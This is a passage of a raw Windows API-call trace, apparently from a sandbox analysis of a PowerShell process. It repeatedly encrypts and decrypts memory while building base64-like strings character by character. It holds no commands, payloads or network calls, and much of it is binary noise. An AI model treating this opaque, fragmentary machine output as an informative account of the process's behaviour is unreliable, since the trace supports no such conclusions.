MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.990] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKF旗薫쓯") returned 0x20 [0138.990] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.990] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x944c\x989c\xd542\xf889\xe163\x55ab\xb8eb\x62e4") returned 0x20 [0138.990] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x944c\x989c\xd542\xf889\xe163\x55ab\xb8eb\x62e4") returned 0x20 [0138.990] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.990] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFF薫쓯") returned 0x20 [0138.990] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.990] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x9f53\x3162\x508\x1a8b\xda85\xdb\x8671\xfcae") returned 0x20 [0138.991] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x9f53\x3162\x508\x1a8b\xda85\xdb\x8671\xfcae") returned 0x20 [0138.991] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.991] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFX쓯") returned 0x20 [0138.991] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.991] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x3ac1\x996a\x68c3\x7320\x39d7\x161\xb855\x2351") returned 0x20 [0138.991] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x3ac1\x996a\x68c3\x7320\x39d7\x161\xb855\x2351") returned 0x20 [0138.991] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.991] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc") returned 0x20 [0138.991] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.991] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9") returned 0x20 [0138.991] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9") returned 0x20 [0138.991] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9") returned 0x20 [0138.991] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9") returned 0x28 [0138.991] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.991] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4៿暂搧㒒妷") returned 0x28 [0138.991] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.991] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\x190a\x6232\x7e67\xf9c9\x71fd\xb81f\x7361\x4917") returned 0x28 [0138.991] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\x190a\x6232\x7e67\xf9c9\x71fd\xb81f\x7361\x4917") returned 0x28 [0138.991] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.991] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4y៿暂搧㒒妷") returned 0x28 [0138.991] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.991] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xc4e3\x8611\x57de\x7727\xace0\xad95\x5485\x44b1") returned 0x28 [0138.992] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xc4e3\x8611\x57de\x7727\xace0\xad95\x5485\x44b1") returned 0x28 [0138.992] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.992] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4yf暂搧㒒妷") returned 0x28 [0138.992] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.992] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\x3028\xcbb9\x36a7\xe444\x1f0\x204d\x5c47\xd47") returned 0x28 [0138.992] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\x3028\xcbb9\x36a7\xe444\x1f0\x204d\x5c47\xd47") returned 0x28 [0138.992] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.992] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4yfT搧㒒妷") returned 0x28 [0138.992] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.992] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xe30b\xaecf\xb3cc\x9a9a\xb2bc\x8349\x73a7\x3508") returned 0x28 [0138.992] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xe30b\xaecf\xb3cc\x9a9a\xb2bc\x8349\x73a7\x3508") returned 0x28 [0138.992] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.992] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4yfTO㒒妷") returned 0x28 [0138.992] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.992] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xe977\x8ca4\xe823\x2d71\x7726\x585\x3240\xbd94") returned 0x28 [0138.992] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xe977\x8ca4\xe823\x2d71\x7726\x585\x3240\xbd94") returned 0x28 [0138.992] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.992] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4yfTOk妷") returned 0x28 [0138.992] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.992] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\x128e\x9f77\x932b\x2ec6\xff40\xf56c\xcec9\xdf9a") returned 0x28 [0138.992] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\x128e\x9f77\x932b\x2ec6\xff40\xf56c\xcec9\xdf9a") returned 0x28 [0138.992] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.992] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4yfTOkz") returned 0x28 [0138.992] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.993] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\x4d11\xf96f\x9344\x415a\xbe70\x1342\x61df\xef61") returned 0x28 [0138.993] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\x4d11\xf96f\x9344\x415a\xbe70\x1342\x61df\xef61") returned 0x28 [0138.993] SystemFunction041 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.993] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4yfTOkze") returned 0x28 [0138.993] SystemFunction040 (in: Memory=0x8ebf614, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf614) returned 0x0 [0138.993] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xed5a\x55f2\xd76d\x2f4a\x6eb4\x3aaa\xf35\x2d10") returned 0x28 [0138.993] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xed5a\x55f2\xd76d\x2f4a\x6eb4\x3aaa\xf35\x2d10") returned 0x28 [0138.993] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xed5a\x55f2\xd76d\x2f4a\x6eb4\x3aaa\xf35\x2d10") returned 0x28 [0138.993] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xed5a\x55f2\xd76d\x2f4a\x6eb4\x3aaa\xf35\x2d10") returned 0x30 [0138.993] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0138.993] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4yfTOkzeT嗘ꐥ⹌ꩴ⸿䫎᷃") returned 0x30 [0138.993] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0138.993] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xed5a\x55f2\xd76d\x2f4a\x6eb4\x3aaa\xf35\x2d10\x508d\x7b69\x5df8\xa253\x1814\xf8ed\xef5\xa80a") returned 0x30 [0138.993] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xed5a\x55f2\xd76d\x2f4a\x6eb4\x3aaa\xf35\x2d10\x508d\x7b69\x5df8\xa253\x1814\xf8ed\xef5\xa80a") returned 0x30 [0138.993] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0138.993] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4yfTOkzeTXꐥ⹌ꩴ⸿䫎᷃") returned 0x30 [0138.993] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0138.993] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xed5a\x55f2\xd76d\x2f4a\x6eb4\x3aaa\xf35\x2d10\xcdb6\xfab5\x3c52\x89b4\x9c7c\x4ffa\xa414\xfea7") returned 0x30 [0138.993] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xed5a\x55f2\xd76d\x2f4a\x6eb4\x3aaa\xf35\x2d10\xcdb6\xfab5\x3c52\x89b4\x9c7c\x4ffa\xa414\xfea7") returned 0x30 [0138.993] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0138.993] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4yfTOkzeTXU⹌ꩴ⸿䫎᷃") returned 0x30 [0138.993] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0138.994] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xed5a\x55f2\xd76d\x2f4a\x6eb4\x3aaa\xf35\x2d10\x27f1\xfdbf\x2f6b\x6f06\x8314\xb860\x7841\xbead") returned 0x30 [0138.994] SysStringLen (param_1="\x3975\xe6e5\x5d8d\x7f4c\x8149\x7c3\x90e4\x3a15\x388e\x1840\x8d4d\x7c10\xe5a4\x778b\x6661\x7558\x2d53\xfe5e\x76bf\x29be\x8877\x7142\xc050\xf43c\x20b7\xe196\x64b7\x6784\xa0e7\x2007\x1c4c\xe9a9\xed5a\x55f2\xd76d\x2f4a\x6eb4\x3aaa\xf35\x2d10\x27f1\xfdbf\x2f6b\x6f06\x8314\xb860\x7841\xbead") returned 0x30 [0138.994] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0138.994] SysStringLen (param_1="PtVO22sdFkOzX0lnP5pPDgQmdVXKFFXc4yfTOkzeTXU=ꩴ⸿䫎᷃") returned 0x30 [0138.994] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0138.994] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.994] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.994] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.994] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0138.994] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.994] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.994] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.994] SysStringLen (param_1="") returned 0x8 [0138.994] SysStringLen (param_1="Y") returned 0x8 [0138.995] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.995] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.995] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.995] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.995] SysStringLen (param_1="YW") returned 0x8 [0138.995] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.995] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.995] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.995] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.995] SysStringLen (param_1="YWM") returned 0x8 [0138.995] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.995] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.995] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.995] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.995] SysStringLen (param_1="YWM1") returned 0x8 [0138.995] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.995] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.995] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.995] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.995] SysStringLen (param_1="YWM1O") returned 0x8 [0138.995] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.995] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.995] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.995] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.996] SysStringLen (param_1="YWM1OT") returned 0x8 [0138.996] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.996] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.996] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.996] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.996] SysStringLen (param_1="YWM1OTE") returned 0x8 [0138.996] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.996] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.996] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.996] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.996] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0138.996] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.996] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.996] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.996] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.996] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0138.996] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.996] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0138.996] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.996] SysStringLen 